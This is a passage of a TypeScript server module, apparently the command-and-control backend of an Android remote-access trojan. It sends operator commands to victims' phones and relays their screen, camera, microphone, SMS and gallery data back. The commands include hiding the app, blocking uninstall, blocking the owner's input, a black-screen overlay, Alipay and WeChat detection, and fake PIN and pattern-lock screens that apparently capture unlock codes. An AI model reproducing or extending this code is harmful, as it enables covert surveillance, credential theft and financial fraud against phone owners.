5280 lines
192 KiB
TypeScript
5280 lines
192 KiB
TypeScript
import DeviceManager from '../managers/DeviceManager'
|
||
import WebClientManager from '../managers/WebClientManager'
|
||
import { DatabaseService } from './DatabaseService'
|
||
import Logger from '../utils/Logger'
|
||
import fs from 'fs'
|
||
import path from 'path'
|
||
|
||
/**
|
||
* 控制消息接口
|
||
*/
|
||
export interface ControlMessage {
|
||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
|
||
deviceId: string
|
||
data: any
|
||
timestamp: number
|
||
}
|
||
|
||
/**
|
||
* 操作日志消息接口
|
||
*/
|
||
export interface OperationLogMessage {
|
||
deviceId: string
|
||
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT'
|
||
content: string
|
||
extraData?: any
|
||
timestamp: number
|
||
}
|
||
|
||
/**
|
||
* 屏幕数据接口
|
||
*/
|
||
export interface ScreenData {
|
||
deviceId: string
|
||
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY'
|
||
data: Buffer | string
|
||
width: number
|
||
height: number
|
||
quality: number
|
||
timestamp: number
|
||
isLocked?: boolean // 设备锁屏状态
|
||
}
|
||
|
||
/**
|
||
* 摄像头数据接口
|
||
*/
|
||
export interface CameraData {
|
||
deviceId: string
|
||
format: 'JPEG' | 'PNG' | 'H264'
|
||
data: string // base64 encoded data
|
||
type: 'camera'
|
||
timestamp: number
|
||
}
|
||
|
||
/**
|
||
* 相册图片数据接口(设备发送)
|
||
*/
|
||
export interface GalleryImageData {
|
||
deviceId: string
|
||
type: 'gallery_image'
|
||
timestamp: number
|
||
index: number
|
||
id: number | string
|
||
displayName?: string
|
||
dateAdded?: number
|
||
mimeType?: string
|
||
width?: number
|
||
height?: number
|
||
size?: number
|
||
contentUri?: string
|
||
format: 'JPEG' | 'PNG'
|
||
data: string // base64 encoded image data
|
||
}
|
||
|
||
/**
|
||
* 麦克风音频数据接口(设备发送)
|
||
*/
|
||
export interface MicrophoneAudioData {
|
||
deviceId: string
|
||
type: 'microphone_audio'
|
||
timestamp: number
|
||
audioData: string // base64 encoded audio data
|
||
sampleRate: number
|
||
sampleCount: number
|
||
format: 'PCM' | 'AAC' | 'MP3' | 'WAV'
|
||
channels: number
|
||
bitDepth: number
|
||
}
|
||
|
||
/**
|
||
* 短信数据接口
|
||
*/
|
||
export interface SmsData {
|
||
deviceId: string
|
||
type: 'sms_data'
|
||
timestamp: number
|
||
count: number
|
||
smsList: SmsItem[]
|
||
}
|
||
|
||
/**
|
||
* 短信项接口
|
||
*/
|
||
export interface SmsItem {
|
||
id: number
|
||
address: string
|
||
body: string
|
||
date: number
|
||
read: boolean
|
||
type: number // 1: 接收, 2: 发送
|
||
}
|
||
|
||
/**
|
||
* 消息路由服务 - 增强版,包含内存管理
|
||
*/
|
||
export class MessageRouter {
|
||
private logger: Logger
|
||
private deviceManager: DeviceManager
|
||
private webClientManager: WebClientManager
|
||
private databaseService: DatabaseService
|
||
|
||
// 🔧 新增:服务端内存和数据管理
|
||
private screenDataBuffer = new Map<string, { data: ScreenData, timestamp: number }>()
|
||
private cameraDataBuffer = new Map<string, { data: CameraData, timestamp: number }>()
|
||
private smsDataBuffer = new Map<string, { data: SmsData, timestamp: number }>()
|
||
private microphoneAudioBuffer = new Map<string, { data: MicrophoneAudioData, timestamp: number }>()
|
||
private readonly maxBufferSize = 10 // 每设备最多缓存10帧
|
||
private readonly bufferTimeout = 5000 // 5秒超时清理
|
||
private readonly maxDataSize = 2 * 1024 * 1024 // 2MB单帧限制,与Android端保持一致
|
||
private lastCleanupTime = 0
|
||
private readonly cleanupInterval = 10000 // 10秒清理一次
|
||
|
||
// 统计信息
|
||
private routedFrames = 0
|
||
private droppedFrames = 0
|
||
private totalDataSize = 0
|
||
private routedCameraFrames = 0
|
||
private droppedCameraFrames = 0
|
||
private totalCameraDataSize = 0
|
||
private routedSmsData = 0
|
||
private droppedSmsData = 0
|
||
private totalSmsDataSize = 0
|
||
private routedMicrophoneAudio = 0
|
||
private droppedMicrophoneAudio = 0
|
||
private totalMicrophoneAudioSize = 0
|
||
|
||
// ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式
|
||
private consecutiveBlackFrames = new Map<string, number>()
|
||
private captureModeSwitchSent = new Set<string>() // 已发送切换指令的设备,避免重复发送
|
||
|
||
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) {
|
||
this.deviceManager = deviceManager
|
||
this.webClientManager = webClientManager
|
||
this.databaseService = databaseService
|
||
this.logger = new Logger('MessageRouter')
|
||
|
||
// 🔧 启动定期清理任务
|
||
this.startPeriodicCleanup()
|
||
}
|
||
|
||
/**
|
||
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
|
||
*/
|
||
private sendLocalGalleryToClient(clientId: string, deviceId: string, limit?: number, offset: number = 0): void {
|
||
try {
|
||
const imagesDir = path.resolve(process.cwd(), 'public', 'assets', 'gallery', deviceId)
|
||
if (!fs.existsSync(imagesDir)) {
|
||
this.logger.debug(`📁 本地相册目录不存在: ${imagesDir}`)
|
||
return
|
||
}
|
||
|
||
// 读取目录下文件,按时间倒序(文件名中包含时间戳: <timestamp>_<index>.jpg|png)
|
||
const files = fs.readdirSync(imagesDir)
|
||
.filter(name => name.endsWith('.jpg') || name.endsWith('.png'))
|
||
.map(name => ({
|
||
name,
|
||
// 提取文件名前缀的时间戳用于排序
|
||
ts: (() => { const n = parseInt(name.split('_')[0], 10); return isNaN(n) ? 0 : n })()
|
||
}))
|
||
.sort((a, b) => b.ts - a.ts)
|
||
.slice(offset, limit ? offset + limit : undefined)
|
||
|
||
if (files.length === 0) {
|
||
this.logger.debug(`🖼️ 本地相册无可发送图片: device=${deviceId}`)
|
||
return
|
||
}
|
||
|
||
this.logger.info(`🖼️ 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`)
|
||
|
||
for (const f of files) {
|
||
const url = `/assets/gallery/${deviceId}/${f.name}`
|
||
// 最低限度的元数据,前端可直接回显缩略图/原图
|
||
const payload = {
|
||
deviceId,
|
||
type: 'gallery_image_saved',
|
||
timestamp: f.ts || Date.now(),
|
||
index: 0,
|
||
id: f.name,
|
||
displayName: f.name,
|
||
url
|
||
}
|
||
this.webClientManager.sendToClient(clientId, 'gallery_image_saved', payload)
|
||
}
|
||
} catch (err) {
|
||
this.logger.error(`❌ 发送本地相册缓存失败: device=${deviceId}`, err)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🔧 启动定期清理任务
|
||
*/
|
||
private startPeriodicCleanup() {
|
||
setInterval(() => {
|
||
this.performPeriodicCleanup()
|
||
}, this.cleanupInterval)
|
||
}
|
||
|
||
/**
|
||
* 🔧 定期清理过期数据
|
||
*/
|
||
private performPeriodicCleanup() {
|
||
try {
|
||
const currentTime = Date.now()
|
||
let cleanedBuffers = 0
|
||
|
||
// 清理过期的屏幕数据缓冲区
|
||
for (const [deviceId, bufferData] of this.screenDataBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.screenDataBuffer.delete(deviceId)
|
||
cleanedBuffers++
|
||
}
|
||
}
|
||
|
||
// 清理过期的摄像头数据缓冲区
|
||
for (const [deviceId, bufferData] of this.cameraDataBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.cameraDataBuffer.delete(deviceId)
|
||
cleanedBuffers++
|
||
}
|
||
}
|
||
|
||
// 清理过期的短信数据缓冲区
|
||
for (const [deviceId, bufferData] of this.smsDataBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.smsDataBuffer.delete(deviceId)
|
||
cleanedBuffers++
|
||
}
|
||
}
|
||
|
||
// 清理过期的麦克风音频数据缓冲区
|
||
for (const [deviceId, bufferData] of this.microphoneAudioBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.microphoneAudioBuffer.delete(deviceId)
|
||
cleanedBuffers++
|
||
}
|
||
}
|
||
|
||
if (cleanedBuffers > 0) {
|
||
this.logger.debug(`🗑️ 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`)
|
||
}
|
||
|
||
// 内存使用统计
|
||
const memUsage = process.memoryUsage()
|
||
const memUsageMB = Math.round(memUsage.heapUsed / 1024 / 1024)
|
||
|
||
// 每分钟记录一次统计
|
||
if (Math.floor(currentTime / 60000) > Math.floor(this.lastCleanupTime / 60000)) {
|
||
const dropRate = this.routedFrames > 0 ? (this.droppedFrames / this.routedFrames * 100).toFixed(1) : '0'
|
||
const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0'
|
||
const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0'
|
||
const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0'
|
||
this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`)
|
||
}
|
||
|
||
this.lastCleanupTime = currentTime
|
||
|
||
// 🚨 内存使用过高时触发紧急清理
|
||
if (memUsageMB > 500) { // 超过500MB时清理
|
||
this.performEmergencyCleanup()
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('❌ 定期清理失败:', error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🚨 紧急内存清理
|
||
*/
|
||
private performEmergencyCleanup() {
|
||
try {
|
||
this.logger.warn('🚨 触发紧急内存清理')
|
||
|
||
// 清空所有数据缓冲区
|
||
const clearedScreenBuffers = this.screenDataBuffer.size
|
||
const clearedCameraBuffers = this.cameraDataBuffer.size
|
||
const clearedSmsBuffers = this.smsDataBuffer.size
|
||
const clearedMicrophoneBuffers = this.microphoneAudioBuffer.size
|
||
this.screenDataBuffer.clear()
|
||
this.cameraDataBuffer.clear()
|
||
this.smsDataBuffer.clear()
|
||
this.microphoneAudioBuffer.clear()
|
||
|
||
// 建议垃圾回收
|
||
if (global.gc) {
|
||
global.gc()
|
||
}
|
||
|
||
this.logger.warn(`🗑️ 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`)
|
||
|
||
} catch (error) {
|
||
this.logger.error('❌ 紧急清理失败:', error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由控制消息(从Web客户端到设备)
|
||
*/
|
||
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean {
|
||
console.log(message)
|
||
try {
|
||
// 验证消息来源是Web客户端
|
||
const webClient = this.webClientManager.getClientBySocketId(fromSocketId)
|
||
if (!webClient) {
|
||
this.logger.warn(`未知的Web客户端尝试发送控制消息: ${fromSocketId}`)
|
||
return false
|
||
}
|
||
|
||
|
||
// 检查Web客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(webClient.id, message.deviceId)) {
|
||
// ✅ 降低日志级别,避免控制权切换期间的噪音
|
||
this.logger.debug(`Web客户端 ${webClient.id} 无权控制设备 ${message.deviceId} (消息类型: ${message.type})`)
|
||
|
||
// 向客户端发送权限错误响应
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'NO_PERMISSION',
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 获取目标设备
|
||
const device = this.deviceManager.getDevice(message.deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(message.deviceId)) {
|
||
this.logger.warn(`目标设备不在线: ${message.deviceId}`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'DEVICE_OFFLINE',
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 特殊处理摄像头控制消息
|
||
if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') {
|
||
this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`)
|
||
|
||
// 验证摄像头控制消息的数据格式
|
||
if (message.type === 'CAMERA_SWITCH' && message.data) {
|
||
const cameraType = message.data.cameraType || message.data
|
||
if (cameraType !== 'front' && cameraType !== 'back') {
|
||
this.logger.warn(`⚠️ 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_CAMERA_TYPE',
|
||
message: '摄像头类型无效,应为 front 或 back'
|
||
})
|
||
return false
|
||
}
|
||
this.logger.info(`📷 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`)
|
||
}
|
||
}
|
||
|
||
// 特殊处理SMS控制消息
|
||
if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') {
|
||
this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`)
|
||
|
||
// 验证SMS控制消息的数据格式
|
||
if (message.type === 'SMS_READ' && message.data) {
|
||
const limit = message.data.limit
|
||
if (limit && (typeof limit !== 'number' || limit <= 0)) {
|
||
this.logger.warn(`⚠️ 无效的SMS读取限制: ${limit},应为正整数`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_SMS_LIMIT',
|
||
message: 'SMS读取限制无效,应为正整数'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
if (message.type === 'SMS_SEND' && message.data) {
|
||
const { phoneNumber, message: smsMessage } = message.data
|
||
if (!phoneNumber || !smsMessage) {
|
||
this.logger.warn(`⚠️ SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_SMS_SEND_DATA',
|
||
message: 'SMS发送数据不完整,需要phoneNumber和message'
|
||
})
|
||
return false
|
||
}
|
||
this.logger.info(`📱 发送SMS到: ${phoneNumber}`)
|
||
}
|
||
}
|
||
|
||
// 特殊处理相册控制消息
|
||
if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') {
|
||
this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`)
|
||
|
||
// 验证相册控制消息的数据格式
|
||
if ((message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') && message.data) {
|
||
const { albumId, limit, offset } = message.data
|
||
if (limit && (typeof limit !== 'number' || limit <= 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取限制: ${limit},应为正整数`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_ALBUM_LIMIT',
|
||
message: '相册读取限制无效,应为正整数'
|
||
})
|
||
return false
|
||
}
|
||
if (offset && (typeof offset !== 'number' || offset < 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset},应为非负整数`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_ALBUM_OFFSET',
|
||
message: '相册读取偏移无效,应为非负整数'
|
||
})
|
||
return false
|
||
}
|
||
this.logger.info(`📸 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`)
|
||
}
|
||
|
||
// 🆕 新增:GET_GALLERY 仅发送本地缓存到Web客户端,不下发到设备
|
||
if (message.type === 'GET_GALLERY') {
|
||
try {
|
||
const { limit, offset } = message.data || {}
|
||
const sendLimit = typeof limit === 'number' && limit > 0 ? limit : undefined
|
||
const sendOffset = typeof offset === 'number' && offset >= 0 ? offset : 0
|
||
this.sendLocalGalleryToClient(webClient.id, message.deviceId, sendLimit, sendOffset)
|
||
} catch (e) {
|
||
this.logger.warn(`⚠️ GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e)
|
||
}
|
||
// 不转发到设备,直接返回成功
|
||
return true
|
||
}
|
||
}
|
||
|
||
// 特殊处理服务器地址修改消息
|
||
if (message.type === 'CHANGE_SERVER_URL') {
|
||
this.logger.info(`🌐 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`)
|
||
|
||
// 验证服务器地址数据格式
|
||
if (message.data && message.data.serverUrl) {
|
||
const { serverUrl } = message.data
|
||
if (typeof serverUrl !== 'string' || serverUrl.trim() === '') {
|
||
this.logger.warn(`⚠️ 无效的服务器地址: ${serverUrl}`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_SERVER_URL',
|
||
message: '服务器地址无效,应为非空字符串'
|
||
})
|
||
return false
|
||
}
|
||
this.logger.info(`🌐 修改服务器地址为: ${serverUrl}`)
|
||
} else {
|
||
this.logger.warn(`⚠️ 缺少服务器地址数据`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'MISSING_SERVER_URL',
|
||
message: '缺少服务器地址数据'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
// 特殊处理屏幕捕获控制消息
|
||
if (message.type === 'SCREEN_CAPTURE_PAUSE' || message.type === 'SCREEN_CAPTURE_RESUME') {
|
||
this.logger.info(`📺 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`)
|
||
}
|
||
|
||
// 获取设备Socket并发送消息
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(message.deviceId)
|
||
if (deviceSocketId) {
|
||
// 通过Socket.IO发送到设备
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', message)
|
||
this.logger.debug(`控制消息已路由: ${message.type} -> ${message.deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`无法找到设备 ${message.deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'DEVICE_DISCONNECTED',
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由控制消息失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理
|
||
*/
|
||
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean {
|
||
try {
|
||
this.routedFrames++
|
||
// this.logger.info('收到屏幕')
|
||
|
||
|
||
// 广播设备锁屏状态更新给所有Web客户端
|
||
|
||
if (screenData.deviceId && this.routedFrames % 20 ==0){
|
||
this.webClientManager.broadcastToAll('device_lock_status_update', {
|
||
deviceId: screenData.deviceId,
|
||
isLocked: screenData.isLocked?screenData.isLocked:false,
|
||
timestamp: Date.now()
|
||
})
|
||
}
|
||
|
||
|
||
|
||
// 🔧 添加屏幕数据大小检查,避免过大数据导致transport error
|
||
const dataSize = screenData.data instanceof Buffer ? screenData.data.length :
|
||
(typeof screenData.data === 'string' ? screenData.data.length : 0)
|
||
|
||
this.totalDataSize += dataSize
|
||
|
||
if (dataSize > this.maxDataSize) { // 动态限制
|
||
this.droppedFrames++
|
||
this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
|
||
return false
|
||
}
|
||
|
||
// ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧
|
||
// 正常480×854 JPEG即使最低质量也远大于此值
|
||
const MIN_VALID_FRAME_SIZE = 4000
|
||
if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) {
|
||
this.droppedFrames++
|
||
|
||
// 追踪连续黑帧数(仅记录日志,不触发模式切换)
|
||
const deviceId = screenData.deviceId
|
||
const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1
|
||
this.consecutiveBlackFrames.set(deviceId, count)
|
||
|
||
if (count % 100 === 1) {
|
||
this.logger.warn(`过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}帧`)
|
||
}
|
||
|
||
return false
|
||
}
|
||
|
||
// 收到有效帧,重置黑帧计数
|
||
if (screenData.deviceId) {
|
||
this.consecutiveBlackFrames.set(screenData.deviceId, 0)
|
||
}
|
||
|
||
// 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
|
||
const controllerId = this.webClientManager.getDeviceController(screenData.deviceId)
|
||
if (!controllerId) {
|
||
// 没有客户端在控制,直接丢弃数据(减少不必要的数据传输)
|
||
// 🔧 这种情况不计入丢帧统计,因为这是正常的丢弃
|
||
this.logger.debug(`⚠️ 设备${screenData.deviceId}无控制者,丢弃屏幕数据`)
|
||
return true
|
||
}
|
||
|
||
// 🔧 优化去重逻辑:调整时间间隔判断,避免误杀正常数据
|
||
const existingBuffer = this.screenDataBuffer.get(screenData.deviceId)
|
||
if (existingBuffer) {
|
||
// 如果有旧数据且时间间隔过短,可能是重复数据,跳过
|
||
const timeDiff = Date.now() - existingBuffer.timestamp
|
||
if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据
|
||
this.droppedFrames++
|
||
this.logger.debug(`⚠️ 跳过重复屏幕数据: 设备${screenData.deviceId}, 间隔${timeDiff}ms`)
|
||
return false
|
||
}
|
||
}
|
||
|
||
// 🔧 更新缓冲区(用于去重和统计)
|
||
this.screenDataBuffer.set(screenData.deviceId, {
|
||
data: screenData,
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 🧪🧪🧪 特殊检测:识别UI层次结构实验数据
|
||
if (screenData.format === 'UI_TEST' || (screenData as any).format === 'UI_TEST') {
|
||
this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`)
|
||
this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`)
|
||
// 继续正常处理流程
|
||
}
|
||
|
||
// 🎯🎯🎯 关键修复:检测UI层次结构数据并特殊处理
|
||
if (screenData.format === 'UI_HIERARCHY' || (screenData as any).format === 'UI_HIERARCHY') {
|
||
this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`)
|
||
this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`)
|
||
|
||
try {
|
||
// 解析UI层次结构数据
|
||
const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data
|
||
this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`)
|
||
|
||
// 调用UI层次结构响应处理方法
|
||
const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData)
|
||
this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`)
|
||
|
||
return routeResult
|
||
} catch (parseError) {
|
||
this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError)
|
||
return false
|
||
}
|
||
}
|
||
|
||
// 首先尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
|
||
if (!device) {
|
||
// ✅ 改进:立即尝试从数据库恢复设备,而不是延迟处理
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
// 将恢复的设备添加到DeviceManager中
|
||
this.deviceManager.addDevice(device)
|
||
|
||
// ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
// ✅ 关键修复:设备通过屏幕数据恢复后,必须立即通知Web端
|
||
// 因为Android端可能不会再发送注册请求(认为自己已连接)
|
||
this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`)
|
||
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
// ✅ 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`)
|
||
// 只有在数据库中也找不到时,才使用延迟重试
|
||
setTimeout(() => {
|
||
this.retryRouteScreenData(fromSocketId, screenData, 1)
|
||
}, 500)
|
||
return true // 返回true避免client端重试
|
||
}
|
||
}
|
||
|
||
|
||
|
||
// 确保device不为undefined
|
||
if (!device) {
|
||
return false
|
||
}
|
||
|
||
// 🔧 修复:更新设备的lastSeen时间 - 关键修复!
|
||
device.lastSeen = new Date()
|
||
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`)
|
||
|
||
|
||
// 🔒 处理设备锁屏状态更新
|
||
// if (screenData.isLocked !== undefined) {
|
||
// const previousLockedState = device.isLocked
|
||
// device.isLocked = screenData.isLocked
|
||
|
||
// // 如果锁屏状态发生变化,记录日志并广播状态更新
|
||
// if (previousLockedState !== screenData.isLocked) {
|
||
// this.logger.info(`🔒 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`)
|
||
|
||
// // 广播设备锁屏状态更新给所有Web客户端
|
||
// this.webClientManager.broadcastToAll('device_lock_status_update', {
|
||
// deviceId: device.id,
|
||
// isLocked: screenData.isLocked,
|
||
// timestamp: Date.now()
|
